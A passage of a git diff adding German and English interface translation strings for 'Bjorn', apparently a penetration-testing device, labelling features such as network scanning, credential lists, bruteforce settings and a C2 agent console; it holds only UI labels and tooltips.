"studio.canvas": "Leinwand", + "studio.inspector": "Inspektor", + "studio.actionsTab": "Aktionen", + "studio.hostsTab": "Hosts", + "studio.globalTab": "Global", + "studio.save": "Speichern", + "studio.load": "Laden", + "studio.run": "Ausführen", + "studio.clear": "Leeren", + "studio.addNode": "Knoten hinzufügen", + "studio.removeNode": "Knoten entfernen", + "studio.search": "Aktionen suchen...", + "backup.title": "Backup & Update", + "backup.backupRestore": "Backup / Wiederherstellung", + "backup.update": "Update", + "backup.createBackup": "Backup erstellen", + "backup.restoreBackup": "Wiederherstellen", + "backup.downloadBackup": "Herunterladen", + "backup.deleteBackup": "Backup löschen", + "backup.lastBackup": "Letztes Backup", + "backup.checkUpdates": "Updates prüfen", + "backup.installUpdate": "Update installieren", + "backup.currentVersion": "Aktuelle Version", + "backup.latestVersion": "Neueste Version", + "backup.upToDate": "Aktuell", + "backup.updateAvailable": "Update verfügbar", + "backup.clearLogs": "Protokolle löschen", + "backup.noBackups": "Keine Backups gefunden", + "backup.restoring": "Wiederherstellung...", + "backup.creating": "Erstelle Backup...", + "webenum.title": "Web-Enumeration", + "webenum.totalResults": "Ergebnisse gesamt", + "webenum.uniqueHosts": "Eindeutige Hosts", + "webenum.successCount": "Erfolgreich (2xx)", + "webenum.errorCount": "Fehler (4xx/5xx)", + "webenum.host": "Host", + "webenum.ip": "IP", + "webenum.port": "Port", + "webenum.directory": "Verzeichnis", + "webenum.status": "Status", + "webenum.size": "Größe", + "webenum.scanDate": "Scan-Datum", + "webenum.link": "Link", + "webenum.exportJson": "JSON exportieren", + "webenum.exportCsv": "CSV exportieren", + "webenum.noResults": "Keine Ergebnisse gefunden", + "webenum.details": "Ergebnisdetails", + "webenum.openUrl": "URL öffnen", + "webenum.copyUrl": "URL kopieren", + "webenum.showing": "Zeige {{start}}-{{end}} von {{total}} Ergebnissen", + "webenum.itemsPerPage": "Elemente pro Seite", + "webenum.refreshData": "Daten aktualisieren", + "webenum.responseTime": "Antwortzeit", + "webenum.contentType": "Inhaltstyp", + "webenum.fullUrl": "Vollständige URL", + "zombie.title": "Zombieland C2C", + "zombie.agents": "Agenten", + "zombie.terminal": "Terminal", + "zombie.commands": "Befehle", + "zombie.totalAgents": "Agenten gesamt", + "zombie.onlineAgents": "Online", + "zombie.offlineAgents": "Offline", + "zombie.idleAgents": "Untätig", + "zombie.sendCommand": "Befehl senden", + "zombie.broadcast": "Rundruf", + "zombie.selectAgent": "Agent auswählen", + "zombie.os": "BS", + "zombie.lastSeen": "Zuletzt gesehen", + "zombie.status": "Status", + "zombie.noAgents": "Keine verbundenen Agenten", + "zombie.quickCommands": "Schnellbefehle", + "zombie.files": "Dateien", + "quick.autoScan": "Auto-Scan", + "quick.connectWifi": "Mit WLAN verbinden", + "quick.knownNetworks": "Bekannte Netzwerke", + "quick.importPotfiles": "Potfiles importieren", + "quick.subtitle": "WLAN & Bluetooth", + "quick.pair": "Koppeln", + "quick.trust": "Vertrauen", + "quick.forgetDevice": "Gerät vergessen", + "quick.forgetDevicePrompt": "{{name}} vergessen?", + "quick.forgetNetworkPrompt": "Sind Sie sicher, dass Sie dieses Netzwerk vergessen möchten?", + "bjorn.title": "Bjorn EPD-Bildschirm", + "bjorn.epdScreen": "e-Paper Display", + "bjorn.refreshInterval": "Aktualisierungsintervall", + "bjorn.autoRefresh": "Auto-Aktualisierung", + "bjorn.manualRefresh": "Jetzt aktualisieren", + "bjorn.seconds": "Sekunden", + "common.search": "Suchen", + "common.filter": "Filtern", + "common.refresh": "Aktualisieren", + "common.save": "Speichern", + "common.cancel": "Abbrechen", + "common.delete": "Löschen", + "common.edit": "Bearbeiten", + "common.close": "Schließen", + "common.loading": "Laden...", + "common.noData": "Keine Daten verfügbar", + "common.error": "Fehler", + "common.success": "Erfolg", + "common.confirm": "Bestätigen", + "common.yes": "Ja", + "common.no": "Nein", + "common.export": "Exportieren", + "common.import": "Importieren", + "common.download": "Herunterladen", + "common.upload": "Hochladen", + "common.copy": "Kopieren", + "common.start": "Starten", + "common.stop": "Stoppen", + "common.restart": "Neustarten", + "common.status": "Status", + "common.name": "Name", + "common.value": "Wert", + "common.type": "Typ", + "common.host": "Host", + "common.port": "Port", + "common.target": "Ziel", + "common.date": "Datum", + "common.time": "Uhrzeit", + "common.size": "Größe", + "common.actions": "Aktionen", + "common.details": "Details", + "common.back": "Zurück", + "common.next": "Weiter", + "common.previous": "Zurück", + "common.first": "Erster", + "common.last": "Letzter", + "common.all": "Alle", + "common.none": "Keine", + "common.showing": "Zeige", + "common.of": "von", + "common.results": "Ergebnissen", + "common.items": "Elemente", + "common.page": "Seite", + "common.perPage": "pro Seite", + "common.sortBy": "Sortieren nach", + "common.ascending": "Aufsteigend", + "common.descending": "Absteigend", + "common.view": "Ansicht", + "common.table": "Tabelle", + "common.grid": "Gitter", + "common.list": "Liste", + "common.map": "Karte", + "common.enabled": "Aktiviert", + "common.disabled": "Deaktiviert", + "common.on": "An", + "common.off": "Aus", + "common.version": "Version", + "common.hide": "Ausblenden", + "common.show": "Anzeigen", + "common.add": "Hinzufügen", + "common.remove": "Entfernen", + "common.clear": "Leeren", + "common.reset": "Zurücksetzen", + "common.apply": "Anwenden", + "common.run": "Ausführen", + "common.send": "Senden", + "common.connect": "Verbinden", + "common.disconnect": "Trennen", + "common.selectAll": "Alle auswählen", + "common.deselectAll": "Alle abwählen", + "common.copied": "Kopiert!", + "common.notFound": "Nicht gefunden", + "backup.checkUpdatesHint": "Klicken Sie auf \"Updates prüfen\", um Versionen anzuzeigen.", + "backup.checkingUpdates": "Prüfe auf Updates...", + "backup.confirmFreshStart": "Frischstart bestätigen? ", + "backup.createdSuccessfully": "Backup erfolgreich erstellt.", + "backup.defaultUpdated": "Standard-Backup aktualisiert.", + "backup.deleted": "Backup gelöscht.", + "backup.descriptionPlaceholder": "Backup-Beschreibung...", + "backup.enterDescription": "Bitte eine Backup-Beschreibung eingeben.", + "backup.failedCheckUpdates": "Fehler beim Prüfen auf Updates", + "backup.failedCreate": "Fehler beim Erstellen des Backups", + "backup.failedDelete": "Fehler beim Löschen des Backups", + "backup.failedLoadBackups": "Fehler beim Laden der Backups", + "backup.failedSetDefault": "Fehler beim Festlegen des Standards", + "backup.freshStart": "Frischstart", + "backup.freshStartFailed": "Frischstart fehlgeschlagen", + "backup.freshStartInitiated": "Frischstart eingeleitet.", + "backup.github": "github", + "backup.keepActions": "Aktions-Ordner behalten", + "backup.keepConfig": "Konfig-Ordner behalten", + "backup.keepData": "Daten-Ordner behalten", + "backup.keepResources": "Ressourcen-Ordner behalten", + "backup.noBackupsCreateAbove": "Keine Backups gefunden. Oben eines erstellen.", + "backup.restoreCompleted": "Wiederherstellung abgeschlossen.", + "backup.restoreOptions": "Wiederherstellungsoptionen", + "backup.restorePoint": "wiederherstellungspunkt", + "backup.selectKeepFolders": "Wählen Sie Ordner, die während des Vorgangs behalten werden sollen:", + "backup.setDefault": "Als Standard festlegen", + "backup.unnamedBackup": "Unbenanntes Backup", + "backup.updateInitiated": "Update eingeleitet.", + "backup.updateOptions": "Update-Optionen", + "common.confirmDiscardUnsaved": "Ungespeicherte Änderungen verwerfen?", + "common.confirmQuestion": "Bestätigen?", + "common.default": "standard", + "common.deleteFailed": "Löschen fehlgeschlagen", + "common.deleted": "Gelöscht", + "common.description": "Beschreibung", + "common.directory": "verzeichnis", + "common.duplicate": "Duplizieren", + "common.exportJson": "JSON exportieren", + "common.failed": "fehlgeschlagen", + "common.file": "datei", + "common.importJson": "JSON importieren", + "common.new": "Neu", + "common.noMatches": "Keine Treffer", + "common.options": "Optionen", + "common.processingPleaseWait": "Verarbeitung läuft, bitte warten...", + "common.refreshed": "Aktualisiert", + "common.rename": "Umbenennen", + "common.saving": "Speichere...", + "common.unknown": "unbekannt", + "common.unsavedChanges": "Ungespeicherte Änderungen", + "db.autoRefresh": "Auto-Aktualisierung", + "db.changesDiscarded": "Änderungen verworfen", + "db.changesSaved": "Änderungen gespeichert", + "db.confirmDrop": "Tabelle \"{{table}}\" LÖSCHEN? Dies kann nicht rückgängig gemacht werden!", + "db.confirmTruncate": "Alle Zeilen in \"{{table}}\" leeren?", + "db.dangerZone": "Gefahrenzone", + "db.deletingRowsCount": "Lösche {{count}} Zeile(n)...", + "db.dropFailed": "Tabelle löschen fehlgeschlagen", + "db.droppedTable": "Tabelle {{table}} gelöscht", + "db.dropping": "Lösche...", + "db.emptyTable": "Leere Tabelle", + "db.errorLoadingData": "Fehler beim Laden der Daten", + "db.failedLoadCatalog": "Laden des Katalogs fehlgeschlagen", + "db.failedLoadTable": "Laden der Tabelle fehlgeschlagen", + "db.filterTables": "Tabellen filtern...", + "db.insertFailed": "Einfügen fehlgeschlagen", + "db.insertingRow": "Füge Zeile ein...", + "db.noRowsSelected": "Keine Zeilen ausgewählt", + "db.rowInserted": "Zeile eingefügt", + "db.rowsDeleted": "Zeilen gelöscht", + "db.runningVacuum": "VACUUM wird ausgeführt...", + "db.saveFailed": "Speichern fehlgeschlagen", + "db.selectTableFromSidebar": "Wählen Sie eine Tabelle aus der Seitenleiste", + "db.tableDropped": "Tabelle gelöscht", + "db.tableTruncated": "Tabelle geleert", + "db.truncateFailed": "Leeren fehlgeschlagen", + "db.truncating": "Leere...", + "db.vacuumComplete": "VACUUM abgeschlossen", + "db.vacuumDone": "VACUUM erledigt", + "db.vacuumFailed": "VACUUM fehlgeschlagen", + "files.confirmDelete": "{{label}} \"{{name}}\" löschen?", + "files.downloadFile": "Datei herunterladen", + "files.duplicateFailed": "Duplizieren fehlgeschlagen", + "files.duplicated": "Dupliziert", + "files.emptyDirectory": "Leeres Verzeichnis", + "files.errorLoading": "Fehler beim Laden der Dateien", + "files.failedLoadDir": "Laden des Verzeichnisses fehlgeschlagen", + "files.filterPlaceholder": "Dateien filtern...", + "files.itemsCount": "{{count}} Element(s)", + "files.newNamePrompt": "Neuer Name:", + "files.noMatch": "Keine passenden Dateien", + "files.openDirectory": "Verzeichnis öffnen", + "files.parent": ".. (übergeordnet)", + "files.renameFailed": "Umbenennen fehlgeschlagen", + "files.renamed": "Umbenannt", + "files.root": "Wurzel", + "files.uploadComplete": "Hochladen abgeschlossen", + "files.uploadFailed": "Hochladen fehlgeschlagen", + "files.uploadingCount": "Lade {{count}} Datei(en) hoch...", + "studio.actionNotFound": "Aktion nicht gefunden", + "studio.classNameRequired": "Klassenname erforderlich", + "studio.confirmDeleteAction": "Aktion \"{{name}}\" löschen? Dies kann nicht rückgängig gemacht werden.", + "studio.deletedName": "Gelöscht: {{name}}", + "studio.exportedFile": "Exportiert: {{name}}", + "studio.filterActions": "Aktionen filtern...", + "studio.importFailed": "Import fehlgeschlagen", + "studio.importedFile": "Importiert: {{name}}", + "studio.loadFailed": "Laden fehlgeschlagen", + "studio.loadedFromCacheName": "Aus Cache geladen: {{name}}", + "studio.loadedName": "Geladen: {{name}}", + "studio.newActionCreated": "Neue Aktion erstellt", + "studio.noActionLoaded": "Keine Aktion geladen", + "studio.saveFailedBackedUp": "Speichern fehlgeschlagen (lokales Backup erstellt)", + "studio.savedName": "Gespeichert: {{name}}", + "studio.setClassBeforeExport": "Klasse vor Export festlegen", + "zombie.agentRemoved": "Agent {{name}} entfernt", + "zombie.agentsPurged": "{{count}} Agenten bereinigt", + "zombie.allAgents": "Alle Agenten", + "zombie.c2StartedOnPort": "C2-Server auf Port {{port}} gestartet", + "zombie.c2Stopped": "C2-Server gestoppt", + "zombie.clearConsole": "Konsole leeren", + "zombie.clearLogs": "Protokolle leeren", + "zombie.commandBroadcasted": "Befehl per Rundruf gesendet", + "zombie.commandSentToAgents": "Befehl an {{count}} Agent(en) gesendet", + "zombie.confirmPurgeStale": "Alle Agenten bereinigen, die länger als 24h inaktiv sind?", + "zombie.confirmRemoveAgent": "Agent {{name}} entfernen?", + "zombie.confirmStopC2": "C2-Server stoppen?", + "zombie.consoleCleared": "Konsole geleert", + "zombie.enterC2Port": "C2-Port eingeben:", + "zombie.enterCommand": "Befehl eingeben...", + "zombie.failedPurgeStale": "Bereinigung inaktiver Agenten fehlgeschlagen", + "zombie.failedRemoveAgent": "Entfernen von Agent {{name}} fehlgeschlagen", + "zombie.failedSendCommand": "Senden des Befehls fehlgeschlagen", + "zombie.failedStartC2": "Starten von C2 fehlgeschlagen", + "zombie.failedStopC2": "Stoppen von C2 fehlgeschlagen", + "zombie.noAgentsConnected": "Keine Agenten verbunden", + "zombie.noAgentsMatchSearch": "Keine Agenten entsprechen Ihrer Suche", + "zombie.purgeStale": "Inaktive bereinigen", + "zombie.purgeStaleHint": "Bereinige Agenten, die >24h inaktiv sind", + "zombie.removeAgent": "Agent entfernen", + "zombie.startC2": "C2 starten", + "zombie.stopC2": "C2 stoppen", + "zombie.systemLogs": "Systemprotokolle", + "zombieland.alive": "Lebendig", + "zombieland.c2Status": "C2 Status", + "zombieland.dead": "Tot", + "zombieland.totalAgents": "Agenten gesamt", + "greeting": "Hallo", + "start": "Start", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "BS", + "zombie.never": "Nie", + "zombie.openInConsole": "In Konsole öffnen", + "common.saved": "Gespeichert", + "attacks.tabs.attacks": "Angriffe", + "attacks.tabs.comments": "Kommentare", + "attacks.tabs.images": "Bilder", + "attacks.btn.addAttack": "Angriff hinzufügen", + "attacks.btn.removeAttack": "Angriff entfernen", + "attacks.btn.deleteAction": "Aktion löschen", + "attacks.btn.restoreDefaultsBundle": "Standardwerte wiederherstellen", + "attacks.btn.addSection": "Abschnitt hinzufügen", + "attacks.btn.deleteSection": "Abschnitt löschen", + "attacks.btn.restoreDefault": "Standard wiederherstellen", + "attacks.btn.createCharacter": "Charakter erstellen", + "attacks.btn.deleteCharacter": "Charakter löschen", + "attacks.section.characters": "Charakter", + "attacks.section.statusImages": "Status-Bilder", + "attacks.section.staticImages": "Statische Bilder", + "attacks.section.webImages": "Web-Bilder", + "attacks.section.actionIcons": "Aktions-Icons", + "attacks.editor.selectAttack": "Angriff auswählen", + "attacks.empty.noAttacks": "Keine Angriffe gefunden.", + "attacks.empty.noComments": "Keine Kommentare gefunden.", + "attacks.comments.placeholder": "Kommentare werden hier angezeigt...", + "attacks.images.enterEditMode": "Bearbeitungsmodus aktivieren", + "attacks.images.exitEditMode": "Bearbeitungsmodus verlassen", + "attacks.images.sortName": "Sortierung: Name", + "attacks.images.sortDimensions": "Sortierung: Größe", + "attacks.images.search": "Bilder suchen...", + "attacks.images.rename": "Bild umbenennen", + "attacks.images.replace": "Bild ersetzen", + "attacks.images.resizeSelected": "Auswahl skalieren", + "attacks.images.addCharacters": "Charakter-Bilder hinzufügen", + "attacks.images.deleteSelected": "Auswahl löschen", + "attacks.images.addStatus": "Status-Bild hinzufügen", + "attacks.images.addStatic": "Statisches Bild hinzufügen", + "attacks.images.addWeb": "Web-Bild hinzufügen", + "attacks.images.addIcon": "Aktions-Icon hinzufügen", + "attacks.errors.loadAttacks": "Fehler beim Laden der Angriffe.", + "attacks.errors.loadImages": "Fehler beim Laden der Bilder.", + "attacks.confirm.switchCharacter": "Zu Charakter \"{{name}}\" wechseln?", + "attacks.confirm.removeAttack": "Angriff \"{{name}}\" löschen?", + "attacks.confirm.deleteAction": "Aktion \"{{name}}\" löschen?", + "attacks.confirm.restoreAttack": "\"{{name}}\" auf Standard zurücksetzen?", + "attacks.confirm.restoreDefaultsBundle": "ALLE Standardwerte (Aktionen, Bilder, Kommentare) wiederherstellen?", + "attacks.confirm.deleteCharacter": "Charakter \"{{name}}\" löschen?", + "attacks.confirm.deleteSection": "Abschnitt \"{{name}}\" löschen?", + "attacks.confirm.restoreDefaultComments": "Standardkommentare wiederherstellen?", + "attacks.confirm.deleteSelectedImages": "Ausgewählte Bilder löschen?", + "attacks.prompt.newCharacterName": "Neuer Charaktername:", + "attacks.prompt.characterToDelete": "Zu löschender Charakter:", + "attacks.prompt.newSectionName": "Neuer Abschnittsname:", + "attacks.prompt.newImageName": "Neuer Name:", + "attacks.prompt.resizeWidth": "Breite skalieren:", + "attacks.prompt.resizeHeight": "Höhe skalieren:", + "attacks.toast.characterSwitched": "Charakter gewechselt", + "attacks.toast.attackImported": "Angriff importiert", + "attacks.toast.selectAttackFirst": "Zuerst einen Angriff auswählen", + "attacks.toast.actionDeleted": "Aktion gelöscht", + "attacks.toast.defaultsRestored": "Standardwerte wiederherstellen", + "attacks.toast.characterCreated": "Charakter erstellt", + "attacks.toast.noDeletableCharacters": "Keine löschbaren Charaktere", + "attacks.toast.characterDeleted": "Charakter gelöscht", + "attacks.toast.commentsRestored": "Kommentare wiederhergestellt", + "attacks.toast.selectSectionFirst": "Zuerst einen Abschnitt auswählen", + "attacks.toast.commentsSaved": "Kommentare gespeichert", + "attacks.toast.selectExactlyOneImage": "Genau ein Bild auswählen", + "attacks.toast.selectAtLeastOneImage": "Mindestens ein Bild auswählen", + "attacks.toast.imagesResized": "Bilder skaliert", + "attacks.toast.characterImagesUploaded": "Charakter-Bilder hochgeladen", + "attacks.toast.selectStatusActionFirst": "Zuerst eine Status-Aktion auswählen", + "actions.toast.presetApplied": "Voreinstellung angewendet", + "actions.toast.startingAction": "Starte {{name}}...", + "actions.toast.actionStarted": "Aktion gestartet", + "actions.toast.stoppedByUser": "Vom Benutzer gestoppt", + "actions.toast.actionStopped": "Aktion gestoppt", + "actions.toast.stopFailed": "Stoppen fehlgeschlagen", + "actions.toast.failedToStop": "Konnte nicht gestoppt werden", + "actions.toast.consoleCleared": "Konsole geleert", + "actions.toast.noLogsToExport": "Keine Protokolle zum Exportieren", + "actions.toast.logsExported": "Protokolle exportiert", + "netkb.confirmRemoveAction": "Aktion \"{{action}}\" für IP \"{{ip}}\" entfernen?", + "netkb.actionRemoved": "Aktion entfernt", + "actions.running": "Läuft", + "attacks.btn.syncMissing": "Fehlende Elemente synchronisieren", + "attacks.images.gridDensity": "Gitterdichte", + "attacks.images.density": "Dichte", + "attacks.sync.defaultComment": "Kommentar für diese Aktion hinzufügen", + "attacks.sync.none": "Keine Angriffe zum Synchronisieren.", + "attacks.sync.done": "Synchronisierung abgeschlossen. Neue Kommentare: {{comments}}, Status-Bilder: {{status}}, Charakter-Bilder: {{characters}}.", + "attacks.sync.failed": "Synchronisierung fehlender Elemente fehlgeschlagen", + "actions.args.free": "Freie Argumente", + "actions.args.none": "Keine konfigurierbaren Argumente", + "actions.args.subtitle": "Automatisch aus Aktionsdefinitionen generiert", + "actions.args.title": "Argumente", + "actions.assign": "Zuweisen", + "actions.emptyPane": "Keine Aktion ausgewählt", + "actions.logs.completed": "Abgeschlossen", + "actions.logs.empty": "Noch keine Protokolle", + "actions.logs.waiting": "Warten...", + "actions.searchPlaceholder": "Aktionen suchen...", + "actions.tabs.actions": "Aktionen", + "actions.tabs.arguments": "Argumente", + "actions.toast.selectActionFirst": "Zuerst eine Aktion auswählen", + "common.move": "Verschieben", + "common.ready": "Bereit", + "common.menu": "Menü", + "common.browse": "Durchsuchen...", + "common.platform": "Plattform", + "common.generate": "Generieren", + "common.vendor": "Hersteller", + "common.hostname": "Hostname", + "common.ports": "Ports", + "zombie.generateClient": "Client generieren", + "zombie.checkStale": "Inaktive prüfen", + "zombie.selectedAgents": "ausgewählte Agenten", + "zombie.clientId": "Client-ID", + "zombie.labCreds": "Lab-Anmeldedaten", + "zombie.deployOptions": "Bereitstellungsoptionen", + "zombie.deployViaSSH": "Über SSH bereitstellen", + "zombie.fileBrowser": "Datei-Browser", + "dash.lastUpdate": "Zuletzte Aktualisierung", + "netkb.searchPlaceholder": "Host, IP, Hersteller, Port suchen...", + "netkb.searchHint": "Tipp: 'port:80' oder 'vendor:intel' eingeben", + "files.dropzoneHint": "Dateien hier ablegen oder zum Hochladen klicken", + "files.moveToTitle": "Verschieben nach...", + "files.selectDestinationFolder": "Zielordner auswählen", + "attacks.sidebar.management": "Verwendung", + "sched.upcoming": "Anstehend", + "sched.success": "Erfolg", + "sched.cancelled": "Abgebrochen", + "sched.history": "Historie", + "sched.historyMsg": "Historien-Protokolle", + "creds.searchPlaceholder": "Dienste, Benutzer suchen...", + "creds.uniqueHosts": "Eindeutige Hosts", + "creds.totalCredentials": "Gesamte Anmeldedaten", + "console.maxReconnect": "Konsole: Maximale Anzahl an Wiederverbindungsversuchen erreicht", + "console.scrollToBottom": "Nach unten scrollen", + "console.manual": "Manuell", + "console.auto": "Auto", + "console.turnOnAuto": "Auto-Modus einschalten", + "console.turnOnManual": "Manuellen Modus einschalten", + "console.noTarget": "Kein Ziel", + "console.noAction": "Keine Aktion", + "console.scanStarted": "Manueller Scan gestartet", + "console.scanFailed": "Manueller Scan fehlgeschlagen", + "console.attackStarted": "Manueller Angriff gestartet", + "console.attackFailed": "Manueller Angriff fehlgeschlagen", + "console.failedToggleMode": "Moduswechsel fehlgeschlagen", + "console.reconnectAttempt": "Verbinde neu (Versuch {{count}})...", + "quick.close": "Panel schließen", + "quick.connectingTo": "Verbinde mit {{ssid}}...", + "quick.connectedTo": "Verbunden mit {{ssid}}", + "quick.connectionFailed": "Verbindung fehlgeschlagen", + "quick.loadKnownFailed": "Laden bekannter Netzwerke fehlgeschlagen", + "quick.priorityUpdated": "Priorität aktualisiert", + "quick.priorityUpdateFailed": "Aktualisierung der Priorität fehlgeschlagen", + "quick.networkRemoved": "Netzwerk entfernt", + "quick.importingPotfiles": "Potfiles werden importiert...", + "quick.importedCount": "{{count}} Anmeldedaten importiert", + "quick.btScanFailed": "Bluetooth-Scan fehlgeschlagen", + "quick.btActioning": "{{action}} von {{name}}...", + "quick.btActionDone": "{{name}} {{action}} abgeschlossen", + "quick.btActionFailed": "{{action}} fehlgeschlagen", + "quick.btForgotten": "{{name}} vergessen", + "sidebar.close": "Seitenleiste schließen", + "api.aborted": "Abgebrochen", + "api.timeout": "Anfrage Zeitüberschreitung", + "api.failed": "Anfrage fehlgeschlagen", + "router.notFound": "Seite nicht gefunden: {{path}}", + "router.errorLoading": "Fehler beim Laden der Seite: {{message}}" +} \ No newline at end of file diff --git a/web/i18n/en.json b/web/i18n/en.json new file mode 100644 index 0000000..5f90e82 --- /dev/null +++ b/web/i18n/en.json @@ -0,0 +1,823 @@ +{ + "nav.dashboard": "Dashboard", + "nav.bjorn": "Bjorn", + "nav.netkb": "NetKB", + "nav.network": "Network", + "nav.credentials": "Credentials", + "nav.vulnerabilities": "Vulnerabilities", + "nav.attacks": "Attacks", + "nav.scheduler": "Scheduler", + "nav.database": "Database", + "nav.files": "Files", + "nav.loot": "Loot", + "nav.actions": "Actions", + "nav.actionsStudio": "Actions Studio", + "nav.backup": "Backup & Update", + "nav.webEnum": "Web Enum", + "nav.zombieland": "Zombieland", + "nav.ai_dashboard": "AI Dashboard", + "nav.settings": "Settings", + "nav.shortcuts": "Shortcuts", + "nav.pages": "Pages", + "status.initializing": "Initializing...", + "status.online": "Online", + "status.offline": "Offline", + "console.title": "Console", + "console.clear": "Clear", + "console.sseOn": "SSE On", + "console.sseOff": "SSE Off", + "console.newLogs": "{{count}} new logs", + "settings.theme": "Theme", + "settings.language": "Language", + "settings.general": "General", + "settings.toggles": "Toggles", + "settings.editValue": "Edit value", + "settings.addValues": "Add values (comma separated)...", + "settings.setValue": "Set value...", + "settings.errorLoading": "Error loading config", + "settings.configSaved": "Configuration saved", + "settings.errorSaving": "Error saving config", + "settings.defaultsRestored": "Defaults restored", + "settings.errorRestoring": "Error restoring defaults", + "settings.tooltip.manual_mode": "When enabled, Bjorn runs only manual actions from the UI.", + "settings.tooltip.ai_mode": "Enables AI decision mode. Disable to run heuristic AUTO mode.", + "settings.tooltip.learn_in_auto": "Collect AI training data while running in AUTO mode.", + "settings.tooltip.debug_mode": "Enables extra diagnostic logs and debug behavior.", + "settings.tooltip.websrv": "Start the embedded web server at startup.", + "settings.tooltip.webauth": "Require authentication to access the web interface.", + "settings.tooltip.bjorn_debug_enabled": "Expose the Bjorn Debug page and debug API endpoints.", + "settings.tooltip.retry_success_actions": "Allow retrying actions that already succeeded for a target.", + "settings.tooltip.retry_failed_actions": "Retry actions after a previous failure on a target.", + "settings.tooltip.ai_server_url": "Base URL of the AI server used for model sync and uploads.", + "settings.tooltip.ai_exploration_rate": "Probability of exploration in AI mode (higher = more random tries).", + "settings.tooltip.ai_sync_interval": "Seconds between AI synchronization attempts.", + "settings.tooltip.ai_server_max_failures_before_auto": "Switch to AUTO mode after this many consecutive AI server failures.", + "settings.tooltip.startup_delay": "Delay in seconds before startup workflows begin.", + "settings.tooltip.web_delay": "Polling interval for some web UI refresh operations.", + "settings.tooltip.screen_delay": "Delay between display refresh cycles.", + "settings.tooltip.livestatus_delay": "Interval for live status updates.", + "settings.tooltip.epd_enabled": "Enable e-paper display output. Disable for headless mode.", + "settings.tooltip.showiponscreen": "Show current IP address on the display.", + "settings.tooltip.shared_update_interval": "Seconds between shared runtime state updates.", + "settings.tooltip.vuln_update_interval": "Seconds between vulnerability counters refresh.", + "settings.tooltip.semaphore_slots": "Maximum number of concurrent action slots.", + "settings.tooltip.runtime_tick_s": "Runtime updater loop tick interval in seconds.", + "settings.tooltip.runtime_gc_interval_s": "Optional forced GC interval in seconds (0 disables).", + "settings.tooltip.default_network_interface": "Preferred network interface for scans and connectivity checks.", + "settings.tooltip.use_custom_network": "Use custom CIDR network instead of auto-detected network.", + "settings.tooltip.custom_network": "Custom target network in CIDR format (example: 192.168.1.0/24).", + "settings.tooltip.portlist": "Default port list used by scanners and schedulers.", + "settings.tooltip.portstart": "Start of port range for range-based scans.", + "settings.tooltip.portend": "End of port range for range-based scans.", + "settings.tooltip.scan_max_host_threads": "Maximum parallel host worker threads during scans.", + "settings.tooltip.scan_max_port_threads": "Maximum parallel port scan threads per host.", + "settings.tooltip.mac_scan_blacklist": "MAC addresses excluded from automated targeting.", + "settings.tooltip.ip_scan_blacklist": "IP addresses excluded from automated targeting.", + "settings.tooltip.hostname_scan_blacklist": "Hostnames excluded from automated targeting.", + "settings.tooltip.vuln_fast": "Use faster vulnerability scan profile.", + "settings.tooltip.nse_vulners": "Enable Nmap NSE vulners scripts during vulnerability scans.", + "settings.tooltip.vuln_max_ports": "Maximum number of ports evaluated per host for vuln scans.", + "settings.tooltip.use_actions_studio": "Load and use action graph definitions from Actions Studio.", + "settings.tooltip.bruteforce_exhaustive_enabled": "Enable exhaustive bruteforce fallback after dictionary attempts.", + "settings.tooltip.bruteforce_exhaustive_max_candidates": "Maximum generated candidates for exhaustive bruteforce.", + "theme.group.colors": "Colors", + "theme.group.surfaces": "Surfaces", + "theme.group.layout": "Layout", + "theme.token.bg": "Background", + "theme.token.ink": "Text Color", + "theme.token.accent1": "Accent 1 (Acid)", + "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.danger": "Danger", + "theme.token.warning": "Warning", + "theme.token.ok": "Success", + "theme.token.panel": "Panel", + "theme.token.panel2": "Panel Alt", + "theme.token.ctrlPanel": "Control Panel", + "theme.token.border": "Border", + "theme.token.radius": "Border Radius", + "theme.advanced": "Advanced CSS", + "theme.applyRaw": "Apply", + "theme.reset": "Reset to Default", + "dash.title": "Dashboard", + "dash.battery": "Battery", + "dash.internet": "Internet", + "dash.cpu": "CPU", + "dash.ram": "RAM", + "dash.disk": "Disk", + "dash.temp": "Temp", + "dash.uptime": "Uptime", + "dash.hostsAlive": "Hosts Alive", + "dash.totalHosts": "Total Hosts", + "dash.openPorts": "Open Ports", + "dash.credentials": "Credentials", + "dash.vulnerabilities": "Vulnerabilities", + "dash.actions": "Actions", + "dash.connected": "Connected", + "dash.disconnected": "Disconnected", + "dash.charging": "Charging", + "dash.discharging": "Discharging", + "dash.full": "Full", + "dash.connectivity": "Connectivity", + "dash.liveOps": "Live Operations", + "dash.tapRefresh": "Tap to refresh", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Mode", + "dash.gps": "GPS", + "dash.age": "Bjorn age", + "dash.plugged": "Plugged", + "dash.noBattery": "No battery", + "dash.sinceScan": "since last scan", + "dash.wifiKnown": "Known Wi-Fi", + "dash.dataFiles": "Data / Files collected", + "dash.fileDescriptors": "File Descriptors", + "dash.attackScripts": "Attack scripts", + "dash.system": "System", + "dash.zombies": "Zombies", + "netkb.title": "Network Knowledge Base", + "netkb.showOffline": "Show offline", + "netkb.gridView": "Grid", + "netkb.listView": "List", + "netkb.hostname": "Hostname", + "netkb.ip": "IP Address", + "netkb.mac": "MAC Address", + "netkb.vendor": "Vendor", + "netkb.ports": "Ports", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Last seen", + "netkb.firstSeen": "First seen", + "netkb.online": "Online", + "netkb.offline": "Offline", + "netkb.openPorts": "Open ports", + "netkb.noHosts": "No hosts found", + "network.title": "Network Visualization", + "network.tableView": "Table", + "network.mapView": "Map", + "network.hostname": "Hostname", + "network.ip": "IP Address", + "network.mac": "MAC", + "network.ports": "Ports", + "network.status": "Status", + "network.searchPlaceholder": "Search hosts...", + "network.noData": "No network data", + "creds.title": "Credentials", + "creds.total": "Total", + "creds.unique": "Unique", + "creds.types": "Types", + "creds.username": "Username", + "creds.password": "Password", + "creds.service": "Service", + "creds.host": "Host", + "creds.port": "Port", + "creds.type": "Type", + "creds.timestamp": "Timestamp", + "creds.showPassword": "Show password", + "creds.hidePassword": "Hide password", + "creds.copyPassword": "Copy", + "creds.exportAll": "Export all", + "creds.noCredentials": "No credentials found", + "vulns.title": "Vulnerability Dashboard", + "vulns.total": "Total", + "vulns.critical": "Critical", + "vulns.high": "High", + "vulns.medium": "Medium", + "vulns.low": "Low", + "vulns.infoLevel": "Info", + "vulns.host": "Host", + "vulns.port": "Port", + "vulns.service": "Service", + 